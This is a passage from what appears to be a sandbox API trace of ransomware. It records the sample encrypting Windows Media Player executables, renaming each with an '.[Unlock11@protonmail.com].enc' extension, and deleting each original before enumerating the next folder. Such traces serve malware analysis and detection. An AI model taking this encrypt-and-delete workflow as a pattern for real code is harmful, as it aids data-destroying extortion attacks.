lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.102] GetFileType (hFile=0x334) returned 0x1 [0230.102] GetFileType (hFile=0x334) returned 0x1 [0230.102] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.102] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.102] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.103] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.103] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.103] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.103] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.103] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\wmlaunch.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.104] GetFileType (hFile=0x39c) returned 0x1 [0230.105] GetFileType (hFile=0x39c) returned 0x1 [0230.105] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.105] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.105] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.105] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.105] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.105] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.105] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.117] CloseHandle (hObject=0x39c) returned 1 [0230.117] CloseHandle (hObject=0x334) returned 1 [0230.117] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmlaunch.exe")) returned 0 [0230.117] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe", lpFilePart=0x9bada4*="wmpconfig.exe") returned 0x39 [0230.118] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpconfig.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4339c91, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x49de7600, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x19000)) returned 1 [0230.118] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367164c | out: pbBuffer=0x367164c) returned 1 [0230.118] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpconfig.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.118] GetFileType (hFile=0x334) returned 0x1 [0230.119] GetFileType (hFile=0x334) returned 0x1 [0230.119] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.119] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.119] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.119] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.119] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.119] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.119] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.119] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\wmpconfig.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.120] GetFileType (hFile=0x39c) returned 0x1 [0230.120] GetFileType (hFile=0x39c) returned 0x1 [0230.120] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.120] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.120] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.120] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.120] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.120] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.120] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.132] CloseHandle (hObject=0x39c) returned 1 [0230.132] CloseHandle (hObject=0x334) returned 1 [0230.132] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpconfig.exe")) returned 0 [0230.132] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe", lpFilePart=0x9bada4*="wmplayer.exe") returned 0x38 [0230.133] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmplayer.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4339c91, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x97ef800, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x28c00)) returned 1 [0230.133] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36715d4 | out: pbBuffer=0x36715d4) returned 1 [0230.133] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmplayer.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.133] GetFileType (hFile=0x334) returned 0x1 [0230.134] GetFileType (hFile=0x334) returned 0x1 [0230.134] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.134] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\wmplayer.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.135] GetFileType (hFile=0x39c) returned 0x1 [0230.135] GetFileType (hFile=0x39c) returned 0x1 [0230.135] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.135] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.135] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.135] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.135] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.135] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.135] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.142] CloseHandle (hObject=0x39c) returned 1 [0230.142] CloseHandle (hObject=0x334) returned 1 [0230.142] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmplayer.exe")) returned 0 [0230.142] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll", lpFilePart=0x9bada4*="WMPMediaSharing.dll") returned 0x3f [0230.143] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll", lpFilePart=0x9bada4*="wmpnssci.dll") returned 0x38 [0230.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0230.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0230.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0230.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0230.143] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll", lpFilePart=0x9bada4*="WMPNSSUI.dll") returned 0x38 [0230.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0230.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0230.143] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmprph.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\wmprph.exe", lpFilePart=0x9bada4*="wmprph.exe") returned 0x36 [0230.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0230.144] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmprph.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x30d5c500, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x10e00)) returned 1 [0230.144] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671214 | out: pbBuffer=0x3671214) returned 1 [0230.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0230.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0230.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0230.144] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmprph.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.145] GetFileType (hFile=0x334) returned 0x1 [0230.145] GetFileType (hFile=0x334) returned 0x1 [0230.145] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.145] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.145] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.145] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.145] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.145] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.145] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.146] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmprph.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\wmprph.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.146] GetFileType (hFile=0x39c) returned 0x1 [0230.146] GetFileType (hFile=0x39c) returned 0x1 [0230.146] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.146] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.146] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.146] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.147] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.147] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.147] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.151] CloseHandle (hObject=0x39c) returned 1 [0230.151] CloseHandle (hObject=0x334) returned 1 [0230.151] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmprph.exe")) returned 0 [0230.151] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe", lpFilePart=0x9bada4*="wmpshare.exe") returned 0x38 [0230.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0230.152] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpshare.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x49de7600, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x19800)) returned 1 [0230.152] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671584 | out: pbBuffer=0x3671584) returned 1 [0230.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0230.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0230.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0230.153] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpshare.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.153] GetFileType (hFile=0x334) returned 0x1 [0230.153] GetFileType (hFile=0x334) returned 0x1 [0230.153] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.153] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.153] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.153] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.153] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.154] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.154] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.154] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\wmpshare.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.155] GetFileType (hFile=0x39c) returned 0x1 [0230.155] GetFileType (hFile=0x39c) returned 0x1 [0230.156] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.171] CloseHandle (hObject=0x39c) returned 1 [0230.171] CloseHandle (hObject=0x334) returned 1 [0230.172] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpshare.exe")) returned 0 [0230.172] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5296d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0230.174] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5296d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.174] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b1b89b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x113f9c00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0230.174] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bda463, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x113f9c00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0230.174] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40aa916a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0230.174] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0230.175] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0230.175] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, 